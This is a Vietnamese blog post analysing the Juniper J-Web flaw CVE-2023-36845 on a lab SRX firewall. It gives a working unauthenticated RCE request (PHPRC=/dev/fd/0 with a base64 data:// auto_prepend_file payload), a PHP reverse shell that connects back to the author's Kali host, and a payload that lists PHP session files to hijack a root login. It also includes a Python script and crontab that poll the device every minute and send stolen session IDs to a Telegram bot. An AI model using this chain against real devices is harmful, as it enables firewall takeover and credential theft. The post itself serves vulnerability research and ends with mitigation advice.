+6

Phân tích One-Day CVE-2023-36845 Juniper Attack

CVE này mình đã phân tích từ rất lâu rồi, nhưng domain cũ của blog mình viết đang down cộng thêm việc Viblo tiện lợi hơn trong khoản tương tác cũng như mình hay đọc các chia sẻ trên Viblo nên mình repost lại CVE mà mình đã PoC trước đó.
Ha Noi, September 27, 2023


Mở đầu

Vào ngày 17-08-2023, Juniper công bố một số lỗ hổng gồm: CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847, CVE-2023-36851 liên quan tới các thiết bị Firewall SRX và Switch EX đang chạy các Version từ cũ cho tới mới, Juniper articles ở đây.

Theo như Juniper thì các CVE đều có điểm CVSS 5.3, và nếu kết hợp lại với nhau thì lỗ hổng này có thể lên tới CVSS 9.8 điểm. Còn thời điểm này không biết Juniper đã update lại điểm cho các CVE này chưa vì thực tế PoC sau đây của mình có thể chứng minh được chỉ với 1CVE-2023-36845duy nhất cũng có thể RCE và thậm chí là chiếm quyền admin của hệ thống. Cho nên riêngCVE-2023-36845này xứng đáng được CVSS 9.8 điểm chứ không cần kết hợp với CVE nào khác. Từ 16-9-2023 mình mới thấy các trang web trong cộng đồng CyberSecurity mới đưa tin về lỗ hổng này nhiều hơn. Do public PoC của WatchTowr Labs công bố, Tham khảo PoC đó tại đây.

Sau khi đọc về PoC này của WatchTowr, mình thấy chưa thoả mãn lắm vì impact của nó là rất hạn chế cũng như phải dùng tới tận 2 CVE để có thể RCE được Firewall, khi RCE được thì Juniper cũng đã hạn chế việc thực thi cho nên mặc dù là RCE được nhưng impact gần như bằng 0 nếu chỉ dừng lại ở đó. Do đó mình đã nâng cấp nó lên theo cách khác.

Phân tích CVE và PoC

Nói qua về PoC của WatchTowr, họ dùngCVE-2023-36846để upload 1 file thực thi test.php và 1 file php.ini. Tiếp theo họ dùngCVE-2023-36845để thay đổi biến môi trường PHPRC của PHP để thực thi file test.php thông qua file php.ini. Tuy nhiên RCE của họ chỉ dừng lại ở việc thực thi hàmphpinfo(), LFI để đọc một số nội dung chứ không thể nâng quyền cũng như gây ảnh hưởng gì. Tuyệt vời là mình có 1 con SRX4200 trong phòng lab của công ty

root> show version      
Model: srx4200
Junos: 20.2R3-S2.5

Theo như bài công bố của Juniper thì version này nằm trong danh sách dính lỗ hổng

These issues affect Juniper Networks Junos OS on SRX Series and EX Series:
All versions prior to 20.4R3-S9;
21.1 version 21.1R1 and later versions;
21.2 versions prior to 21.2R3-S7;
21.3 versions prior to 21.3R3-S5;
21.4 versions prior to 21.4R3-S5;
22.1 versions prior to 22.1R3-S4;
22.2 versions prior to 22.2R3-S2;
22.3 versions prior to 22.3R2-S2, 22.3R3-S1;
22.4 versions prior to 22.4R2-S1, 22.4R3;
23.2 versions prior to 23.2R1-S1, 23.2R2.

Mình đã download toàn bộ J-WEB Source Code trên Firewall này về máy để tiện phân tích về sau image.png Trước hết, theo PoC của WatchTowr thì source code file webauth_operation.php định nghĩa 1 hàm upload để upload file mà không cần xác thực => CVE-2023-36846

function do_upload($files) {

    $files = json_decode($files);
    foreach ($files as $file) {
                    $fileData = $file->fileData;
                    $intermediateSalt = md5(uniqid(rand(), true));
                    $salt = substr($intermediateSalt, 0, 6);
                    $token = hash("sha256", $file->fileName . $salt);
                    //$token = md5(uniqid(rand(), true));
                    $fileName = $token.getXSSEncodedValue($file->fileName);
                    $fileName_extension = pathinfo($fileName, PATHINFO_EXTENSION);
                    $fileName = $token . '.' . $fileName_extension;
                    $csize = getXSSEncodedValue($file->csize);
                    $fileData = substr($fileData, strpos($fileData, ",") + 1);
                    $fileData = base64_decode($fileData);
                    if (!check_filename($fileName, false)) {
                                   echo 'Invalid Filename';
                                   return;
                    }
                    $cf = "/var/tmp/" . $fileName;
                    $byte = 1024 * 1024 * 4;
                    if(file_exists($cf))
                                   unlink($cf);
                    $fp = fopen($cf,'ab');
                   if(flock($fp,LOCK_EX | LOCK_NB))
                    {
                                   $ret = fwrite($fp,$fileData);                             
                                   flock($fp, LOCK_UN);       
                    }
                    $rc = fclose($fp);//echo $ret;echo "|";echo $csize;die;
                    if($ret == $csize) {
                                   $filenames['converted_fileName'][] = $fileName;
                                   $filenames['original_fileName'][] = $file->fileName;
                    } else {
                                   $filenames[] = ''; //Error while uploading the file : miss-match in bytes 
                    }
    }
    return $filenames;
}

Thực hiện POST Request sau theo như PoC của WatchTowr

POST /webauth_operation.php HTTP/1.1
Host: 10.96.199.151
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
 
rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]

Response mà minh nhận được:

HTTP/1.1 200 OK
Date: Wed, 27 Sep 2023 11:28:38 GMT
Cache-Control: no-cache
ETag: "1ac3c-505-6103b62b"
Content-Type: text/html; charset=UTF-8
Connection: close
Last-Modified: Wed, 27 Sep 2023 11:28:38 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'
Content-Length: 23
 
-:function not callable

??? -:function not callable ? Mình đọc lại source code thì thấy rằng không có function do_upload($files) nào trong đống source code cả Nhưng mình tìm thấy 1 file upload.php hi vọng là function tương tự để khai thác được

root@:/jail/html # ls -l | grep upload
-r-xr-xr-x   1 root  wheel    1763 Jul 30  2021 upload.php
root@:/jail/html #
root@MLMT-SRX4200:/jail/html # cat upload.php 
#!/usr/bin/php
<?php
require('main.inc.php');

$user = new user(true,null,true);
if(!$user->is_authenticated())
{
    echo 'User is not authenticated. Aborting Software file upload';
        return;
}

if($_SERVER['REQUEST_METHOD'] == 'POST')
{
        if(!isset($_POST['setup_wizard'])){
                // Validate Client token with session token
                $token = $_POST['csrf_token'];
                if (empty($token)) {
                        $token = $_SERVER['csrf_token'];
                }
                if(!$user->client_token_validate($token)) {
                        redirect_on_invalid_session();
                        echo 'Invalid csrf token. Aborting Software file upload';
                        return;
                }
        }
        $fileData = $_POST['fileData'];
        $fileName = getXSSEncodedValue($_POST['fileName']);
        if (!check_filename($fileName, false)) {
            echo 'Invalid Filename';
            return;
        }
        if (isset($_POST['chunk'])) {
            if (!ctype_digit($_POST['chunk'])) {
                echo 'Invalid input parameter';
                return;
            }
            $chunk = getXSSEncodedValue($_POST['chunk']);
        }
        if (!ctype_digit($_POST['csize'])) {
            echo 'Invalid input parameter';
            return;
        }
        $csize = getXSSEncodedValue($_POST['csize']);

        $fileData = substr($_POST['fileData'], strpos($_POST['fileData'], ",") + 1);
        $fileData = base64_decode($fileData);

  if(isset($_POST['chunk']))//PR 344660
           $cf = "/var/tmp/" . $fileName . '-' . $chunk;
  else
      $cf = "/var/tmp/" . $fileName;
        $byte = 1024 * 1024 * 4;
        if(file_exists($cf))
                unlink($cf);
        $fp = fopen($cf,'ab');
        $status;
        if(flock($fp,LOCK_EX | LOCK_NB))
        {
                $ret = fwrite($fp,$fileData);
                flock($fp, LOCK_UN);
        }
        $rc = fclose($fp);
        if($ret == $csize)
                $status = '';
        else
                $status = 'Error while uploading the software file : miss-match in bytes written ' . $ret . ' [' . $csize . ']  Aborting Software file upload';
        echo $status;
}
?>

File này chứa nội dung tương tự hàm do_upload() nhưng file này trước khi xử lý POST Request của người dùng thì đã thực hiện Authen User trước rồi! Vậy là không bypass được authen để upload file lên Victim. Thế thìCVE-2023-36846này không thể dùng được!

Mình cũng đã tải 1 OS khác nằm trong list bị lỗ hổng của Juniper để upgrade cho 1 thiết bị Firewall SRX1500 khác và gặp tình trạng tương tự. Có thể là Juniper đã fix lỗi này ở các bản Official OS-Release. Hoặc cũng có thể Version mà WatchTowr dùng khác với của mình nên có sự khác biệt. Nhưng tóm lại là mình không thể upload được file thực thi bằng CVE-2023-36846 cho nên CVE này vô dụng đối với mình

Tiếp theo đến CVE-2023-36845, CVE này cho phép attacker có thể modify được biến môi trường của PHP là PHPRC. Nói 1 cách ngắn gọn biến PHPRC chỉ cho PHP biết cần phải đọc configure file ở đâu, mặc định là nó nằm ở php.ini Vậy thì cứ cho là WatchTowr upload được 2 file:

1.File thực thi test.php =>Dựa vào kết quả trả về, file uploaded được mã hoá tên (chắc Juniper muốn tránh path traversal). File đó được lưu với tên mới có mã hoá tên là xxx6bda.php.

$ cat payload.php
<?php 
phpinfo();
?>
$ base64 < payload.php
PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "test.php", "fileData": ",PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==", "csize": 22}]'
+:{"converted_fileName":  {0: '7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php'}, "original_fileName":  {0: 'test.php'}}
$

2.File configure php.ini => Cũng tương tự được mã hoá tên trên hệ thống xxx2a820.ini

$ cat php.ini
auto_prepend_file="/var/tmp/7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php"
$ base64 < php.ini
YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0Mjdh
OTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "php.ini", "fileData": ",YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0MjdhOTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==", "csize": 97}]'
+:{"converted_fileName":  {0: '0c1de7614b936d72deebd90a99a6885960102ba0

Sau đó dùngCVE-2023-36845để truyền biến PHPRC vào định nghĩa configure file nằm ở file xxx2a820.ini vừa tải lên. File này lại dùng auto_prepend_file="/var/tmp/7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php"để RCE. Vậy thì ngay từ API đầu tiên nếu không trả về filename mới thì đã chặn được RCE, PoC của WatchTowr phá sản rồi. Nhưng cụ thể tại sao phải trả về filename mới về khi call API như trên thì mình không đi sâu vì có thể nó liên quan tới các function sau đó của Web.

RCE thành công $ curl -X POST --insecure https://xxxxxx/webauth_operation.php -F "PHPRC=/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini" Nhưng vấn đề là mình vừa kết luận, CVE-2023-36846không dùng được đối với mình, cho nên không thể upload 2 file php.initest.php được thìCVE-2023-36845cũng không có tác dụng.

Okey! My Turn

Vì vậy, mình quyết định đi theo 1 hướng khác. Nếu chỉ có thể dùngCVE-2023-36845thì idea ở đây là mình sẽ RCE luôn mà không cần upload file thực thi nữa!! 😋 Webserver mà Juniper dùng là Embedded GoAhead, một loại web server khá phổ biến dùng cho giao diện quản trị của các thiết bị IoT. Tìm Vuln liên quan thì mình thấy có 1 PoC khai thácCVE-2017-17562dành cho Webserver loại này được public trên Github. Họ sử dụng/proc/self/fd/0để có thể truyền data vào biếnLD_PRELOAD

Hệ điều hành Junos base trên FreeBSD, nên mình sẽ thử với STDIN của FreeBSD nhằm thao túng biến PHPRC với data truyền thẳng vào thay vì phải chỉ trỏ đi đâu mất công. Chuẩn bị nội dung payload => Encode bằng base64 trước.

root㉿kali$ echo "<?php phpinfo(); ?>" | base64
PD9waHAgcGhwaW5mbygpOyA/Pgo=

POST request:

POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 10.96.199.151
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 96
 
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="

=> Thay vì PHPRC trỏ tới 1 file .ini nào đó trong hệ thống mà mình không thể kiểm soát được thì mình sẽ dùng STDIN trong linux để định nghĩa 1 file ảo để đẩy nội dung vào

Lúc này PHP dựa vàoEnv Variable PHPRCxác định rằng nội dung payload mình truyền vào chính là configure file của PHP và cần phải xử lý, trong đóauto_prepend_filechính là option chèn file này vào phần đầu của tất cả các file khác, nó tương tự như hàminclude()trong PHP, tìm hiểu kĩ hơn tại đây. Tiếp theo mình sử dụng Wrapperdata://để PHP đọc luôn nội dung này để chèn vào thay vì đi đọc 1 file .php hay .html nào khác. Mà nội dung của Wrapperdata://thì mình hoàn toàn thao túng được. Kết quả là đã RCE được. Payload <?php phpinfo() ?> đã được chèn vào và server đã thực thi code của mình. Response:

Render đẹp hơn thì sẽ như thế này:

Chưa dừng ở đó, RCE được thì mình cần leo quyền để ít nhất phải thành root hoặc admin. Trước hết mình sẽ dùng phương pháp tương tự để xem webserver có quyền thực thi những gì này tương tác với hệ thống là gì? Chuẩn bị payload:

root㉿kali$ echo "<?php
system(pwd);
system(echo TOANLE here');
system(ls -lia);
system(id):
system(whoami);
system(cat etc/passwd');
?>" | base64
PD9waHAKc3lzdGVtKHB3ZCk7CnN5c3RlbShlY2hvIFRPQU5MRSBoZXJlJyk7CnN5c3RlbShscyAt
bGlhKTsKc3lzdGVtKGlkKToKc3lzdGVtKHdob2FtaSk7CnN5c3RlbShjYXQgZXRjL3Bhc3N3ZCcp
Owo/Pgo=

POST Response:


Chỉ có 1 số lệnh là dùng được như echo, pwd. Còn lại đều lỗi not found. Vậy mình sẽ thử reverse_shell xem, vì mình đã thử bằng /bin/bash để reverse_shell nhưng cũng không được (lỗi not found tương tự). Nên sẽ dùng hàm fsockopen() để khởi tạo 1 phiên TCP về máy Kali của mình. Payload:

root㉿kali$ echo "<?php
set_time_limit(0);
$ip = '10.4.2.138';
$port = 8888;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
 $command = fgets($sock, 1024);
 $output = shell_exec($command);
 fwrite($sock, $output);
}
fclose($sock);
?>" | base64
PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CiRpcCA9ICcxMC40LjIuMTM4JzsKJHBvcnQgPSA4ODg4Owokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0KTsKd2hpbGUoIWZlb2YoJHNvY2spKSB7CiAkY29tbWFuZCA9IGZnZXRzKCRzb2NrLCAxMDI0KTsKICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsKIGZ3cml0ZSgkc29jaywgJG91dHB1dCk7Cn0KZmNsb3NlKCRzb2NrKTsKPz4=

Listen port 8888 trên đầu Kali để hứng Shell:

POST request:

Trên máy Kali đã nhận được shell của victim:

Tuy nhiên cũng chẳng khác gì cả, cũng chỉ thực thi được vài lệnh cơ bản tương tự như trước đó. Đến đây tuy cũng được coi là RCE được nhưng cũng khá bế tắc để có thể leo lên root hoặc làm gì đó phức tạp hơn các câu lệnh đơn giản như vừa rồi, đối với PoC của WatchTowr cũng tương tự, họ chỉ có thể show bằng chứng RCE bằng cách chạy file thực thi hàm phpinfo() chứ cũng không làm được gì hơn!

Tuy nhiên không bỏ cuộc dễ thế, sau khi brainstorming cực căng thì mình có 1 idea, Ăn trộm cookie của các user đã login. Và sau khi lần mò source code thì mình thấy rằng các giá trịPHPSESSIONnằm trong cookie được PHP lưu trong/var/sess/

Các giá trị cookie là Web Server sẽ random tạo ra cho nên mình không thể đoán trước được giá trị này là gì cho đến khi một phiên duyệt web được khởi tạo. Vậy ta sẽ dùng hàm glob()để liệt kê thư mục chứa giá trị session, hi vọng là thư mục /var/sess/ có cho quyền liệt kê các file 😃

root㉿kali$ echo "<?php
$tiles = glob('/var/sess/*');
foreach ($files as $file) {
   echo $file. "<br>";
}
?>" | base64
PD9waHAKJHRpbGVzID0gZ2xvYignL3Zhci9zZXNzLyonKTsKZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgIGVjaG8gJGZpbGUuICI8YnI+IjsK772dCj8+

POST response:

Vì J-Web sử dụng https nên tên cookie là SECUREPHPSESSID

require ('main. inc.php");
$userSt = microtime(true);
if(isset($_GET['cclear'])) {
    if ($_SERVER['SERVER_PROTOCOL"] = "https")
        @session_name ('SECUREPHPSESSID');
    setcookie(session name(),'',time()-3600);
    header('Location: /');

Lấy giá trị key:value của cookie vừa tìm được để duyệt web

Reload lại trang

Bingo! Đã login được và vô tình session này là của user root 😁 Lúc này thì mình đã có quyền cao nhất và có thể toàn quyền cấu hình Firewall này Tuy nhiên, vâng lại là tuy nhiên 😄 Mọi chuyện lại không đơn giản chỉ ở đó. Đã có những lúc mình glob nhưng không hề có 1 file session gì do giá trị session này chỉ lưu trong 1 tiếng (3600s). Tức là trong vòng 1 tiếng nếu k có ai login vào J-Web của Firewall thì sẽ không tồn tại giá trị này

Cho nên mình đã tạo 1 tool bắn về bot telegram mỗi khi có user nào đó login và session được tạo. Bot telegram

Tạo script python junipercvebot.py:

from telegram import Bot
import requests
from urllib3.exceptions import InsecureRequestWarning
import asyncio
 
bot_token = 'XXXXXXXXXXX'
 
# Create a bot 
bot = Bot(token=bot_token)
 
channel_chat_id = 'XXXXXXXXXXX'
 
# Địa chỉ URL và dữ liệu cần gửi
url = 'https://10.96.199.151/?PHPRC=/dev/fd/0'
 
headers = {
    'Host': '10.96.199.151',
    'Sec-Ch-Ua': '"Chromium";v="117", "Not;A=Brand";v="8"',
    'Sec-Ch-Ua-Mobile': '?0',
    'Sec-Ch-Ua-Platform': '"macOS"',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Sec-Fetch-Site': 'none',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Sec-Fetch-Dest': 'document',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9',
    'Connection': 'close'
}
 
data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAKJGZpbGVzID0gZ2xvYignL3Zhci9zZXNzLyonKTsKZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICBlY2hvICRmaWxlIC4gIjxicj4iOwp9Cj8+"'
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
response = requests.post(url, headers=headers, data=data, verify=False)
 
raw = response.text.split('<!DOCTYPE html>')[0]
raw = raw.strip()
result = raw.split('<br>')
 

async def send_telegram_message(message):
    await bot.send_message(chat_id=str(channel_chat_id), text=message)
 
if len(result) > 2:
    message = 'Session available in Victim Device: ' + result[1]
    asyncio.run(send_telegram_message(message))
else:
    message = 'No Session available in Victim Device'
    asyncio.run(send_telegram_message(message))

Tạo crontab định kỳ 1 phút 1 lần query giá trị session trên Firewall thông qua lỗ hổng bên trên:

┌──(root㉿kali)-[/tmp]
└─# crontab -l
SHELL=/bin/bash
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
 
*/1 * * * * /usr/bin/python3 /tmp/junipercvebot.py
 
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command

Đã nhận cảnh báo về. lấy cookie này login lại như bước bên trên và thành công

Tổng kết

Bug Chain này hay, đặc biệt là độ ảnh hưởng của nó khá rộng. Hiện tại vẫn có rất nhiều thiết bị Juniper đang sử dụng J-Web bằng ip public khi search trên Shodan. Nếu tính cả ip private thì còn nhiều hơn rất nhiều. Để bảo vệ thiết bị thời điểm này thì ngoài nâng cấp OS thì tốt nhất là disable J-Web trên thiết bị hoặc ít nhất là chỉ allow các dải ip nhất định!!!


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí